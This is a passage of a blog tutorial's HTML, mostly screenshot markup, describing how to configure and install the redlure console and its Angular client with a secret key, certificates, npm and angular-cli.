href="https://substackcdn.com/image/fetch/$s_!ukCw!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0102331b-188c-493c-85dd-97f0d13a5411_1604x484.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ukCw!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0102331b-188c-493c-85dd-97f0d13a5411_1604x484.png 424w, https://substackcdn.com/image/fetch/$s_!ukCw!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0102331b-188c-493c-85dd-97f0d13a5411_1604x484.png 848w, https://substackcdn.com/image/fetch/$s_!ukCw!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0102331b-188c-493c-85dd-97f0d13a5411_1604x484.png 1272w, https://substackcdn.com/image/fetch/$s_!ukCw!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0102331b-188c-493c-85dd-97f0d13a5411_1604x484.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ukCw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0102331b-188c-493c-85dd-97f0d13a5411_1604x484.png" width="1456" height="439" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/0102331b-188c-493c-85dd-97f0d13a5411_1604x484.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:439,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:71353,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ukCw!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0102331b-188c-493c-85dd-97f0d13a5411_1604x484.png 424w, https://substackcdn.com/image/fetch/$s_!ukCw!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0102331b-188c-493c-85dd-97f0d13a5411_1604x484.png 848w, https://substackcdn.com/image/fetch/$s_!ukCw!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0102331b-188c-493c-85dd-97f0d13a5411_1604x484.png 1272w, https://substackcdn.com/image/fetch/$s_!ukCw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0102331b-188c-493c-85dd-97f0d13a5411_1604x484.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Secret key copied, I&#8217;ll paste the value into <code>config.py</code> and specify my Let&#8217;s Encrypt certs to use.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!qWLT!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F72c9da10-a249-4dc1-af20-7c8f4b35ecd5_1638x360.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!qWLT!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F72c9da10-a249-4dc1-af20-7c8f4b35ecd5_1638x360.png 424w, https://substackcdn.com/image/fetch/$s_!qWLT!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F72c9da10-a249-4dc1-af20-7c8f4b35ecd5_1638x360.png 848w, https://substackcdn.com/image/fetch/$s_!qWLT!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F72c9da10-a249-4dc1-af20-7c8f4b35ecd5_1638x360.png 1272w, https://substackcdn.com/image/fetch/$s_!qWLT!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F72c9da10-a249-4dc1-af20-7c8f4b35ecd5_1638x360.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!qWLT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F72c9da10-a249-4dc1-af20-7c8f4b35ecd5_1638x360.png" width="1456" height="320" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/72c9da10-a249-4dc1-af20-7c8f4b35ecd5_1638x360.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:320,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:81386,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!qWLT!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F72c9da10-a249-4dc1-af20-7c8f4b35ecd5_1638x360.png 424w, https://substackcdn.com/image/fetch/$s_!qWLT!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F72c9da10-a249-4dc1-af20-7c8f4b35ecd5_1638x360.png 848w, https://substackcdn.com/image/fetch/$s_!qWLT!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F72c9da10-a249-4dc1-af20-7c8f4b35ecd5_1638x360.png 1272w, https://substackcdn.com/image/fetch/$s_!qWLT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F72c9da10-a249-4dc1-af20-7c8f4b35ecd5_1638x360.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Now we can start the console for real (screen/tmux time). The first time you startup, you&#8217;ll prompted for a passphrase that an encryption key for sensitive database fields will be derived from. <strong>Write this down somewhere</strong>, you&#8217;ll be prompted to input this if you restart the console.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!KYCa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5cb01ea-133e-4c7a-9aa5-cbb60c014ac0_1658x1130.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!KYCa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5cb01ea-133e-4c7a-9aa5-cbb60c014ac0_1658x1130.png 424w, https://substackcdn.com/image/fetch/$s_!KYCa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5cb01ea-133e-4c7a-9aa5-cbb60c014ac0_1658x1130.png 848w, https://substackcdn.com/image/fetch/$s_!KYCa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5cb01ea-133e-4c7a-9aa5-cbb60c014ac0_1658x1130.png 1272w, https://substackcdn.com/image/fetch/$s_!KYCa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5cb01ea-133e-4c7a-9aa5-cbb60c014ac0_1658x1130.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!KYCa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5cb01ea-133e-4c7a-9aa5-cbb60c014ac0_1658x1130.png" width="1456" height="992" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/a5cb01ea-133e-4c7a-9aa5-cbb60c014ac0_1658x1130.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:992,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:178228,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!KYCa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5cb01ea-133e-4c7a-9aa5-cbb60c014ac0_1658x1130.png 424w, https://substackcdn.com/image/fetch/$s_!KYCa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5cb01ea-133e-4c7a-9aa5-cbb60c014ac0_1658x1130.png 848w, https://substackcdn.com/image/fetch/$s_!KYCa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5cb01ea-133e-4c7a-9aa5-cbb60c014ac0_1658x1130.png 1272w, https://substackcdn.com/image/fetch/$s_!KYCa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5cb01ea-133e-4c7a-9aa5-cbb60c014ac0_1658x1130.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3><strong>Client Setup</strong></h3><p>On the same cloud instance as the console, I&#8217;ll <a href="https://docs.redlure.io/redlure-client/Installation.html">install</a> the client.</p><p>Clone the repo and install <code>npm</code>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!t-0j!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb3c9158-6838-42cd-a10a-848368124b77_1374x448.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!t-0j!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb3c9158-6838-42cd-a10a-848368124b77_1374x448.png 424w, https://substackcdn.com/image/fetch/$s_!t-0j!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb3c9158-6838-42cd-a10a-848368124b77_1374x448.png 848w, https://substackcdn.com/image/fetch/$s_!t-0j!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb3c9158-6838-42cd-a10a-848368124b77_1374x448.png 1272w, https://substackcdn.com/image/fetch/$s_!t-0j!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb3c9158-6838-42cd-a10a-848368124b77_1374x448.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!t-0j!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb3c9158-6838-42cd-a10a-848368124b77_1374x448.png" width="1374" height="448" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/bb3c9158-6838-42cd-a10a-848368124b77_1374x448.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:448,&quot;width&quot;:1374,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:102881,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!t-0j!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb3c9158-6838-42cd-a10a-848368124b77_1374x448.png 424w, https://substackcdn.com/image/fetch/$s_!t-0j!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb3c9158-6838-42cd-a10a-848368124b77_1374x448.png 848w, https://substackcdn.com/image/fetch/$s_!t-0j!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb3c9158-6838-42cd-a10a-848368124b77_1374x448.png 1272w, https://substackcdn.com/image/fetch/$s_!t-0j!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb3c9158-6838-42cd-a10a-848368124b77_1374x448.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>We&#8217;ll use <code>npm</code> to then install the angular-cli.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!6eaQ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff297fa28-4e21-4fdd-a462-65f4b1ad9f5f_1192x234.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!6eaQ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff297fa28-4e21-4fdd-a462-65f4b1ad9f5f_1192x234.png 424w, https://substackcdn.com/image/fetch/$s_!6eaQ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff297fa28-4e21-4fdd-a462-65f4b1ad9f5f_1192x234.png 848w, https://substackcdn.com/image/fetch/$s_!6eaQ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff297fa28-4e21-4fdd-a462-65f4b1ad9f5f_1192x234.png 1272w, https://substackcdn.com/image/fetch/$s_!6eaQ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff297fa28-4e21-4fdd-a462-65f4b1ad9f5f_1192x234.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!6eaQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff297fa28-4e21-4fdd-a462-65f4b1ad9f5f_1192x234.png" width="1192" height="234" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/f297fa28-4e21-4fdd-a462-65f4b1ad9f5f_1192x234.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:234,&quot;width&quot;:1192,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:72923,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!6eaQ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff297fa28-4e21-4fdd-a462-65f4b1ad9f5f_1192x234.png 424w, https://substackcdn.com/image/fetch/$s_!6eaQ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff297fa28-4e21-4fdd-a462-65f4b1ad9f5f_1192x234.png 848w, https://substackcdn.com/image/fetch/$s_!6eaQ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff297fa28-4e21-4fdd-a462-65f4b1ad9f5f_1192x234.png 1272w, https://substackcdn.com/image/fetch/$s_!6eaQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff297fa28-4e21-4fdd-a462-65f4b1ad9f5f_1192x234.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Install all the Angular dependencies with <code>npm install</code> from the redlure-client directory.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!KiDd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc15d8740-f203-44af-84a7-49ef606d02b4_880x164.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!KiDd!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc15d8740-f203-44af-84a7-49ef606d02b4_880x164.png 424w, https://substackcdn.com/image/fetch/$s_!KiDd!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc15d8740-f203-44af-84a7-49ef606d02b4_880x164.png 848w, https://substackcdn.com/image/fetch/$s_!KiDd!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc15d8740-f203-44af-84a7-49ef606d02b4_880x164.png 1272w, https://substackcdn.com/image/fetch/$s_!KiDd!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc15d8740-f203-44af-84a7-49ef606d02b4_880x164.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!KiDd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc15d8740-f203-44af-84a7-49ef606d02b4_880x164.png" width="880" height="164" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/c15d8740-f203-44af-84a7-49ef606d02b4_880x164.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:164,&quot;width&quot;:880,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:23197,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!KiDd!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc15d8740-f203-44af-84a7-49ef606d02b4_880x164.png 424w, https://substackcdn.com/image/fetch/$s_!KiDd!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc15d8740-f203-44af-84a7-49ef606d02b4_880x164.png 848w, https://substackcdn.com/image/fetch/$s_!KiDd!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc15d8740-f203-44af-84a7-49ef606d02b4_880x164.png 1272w, 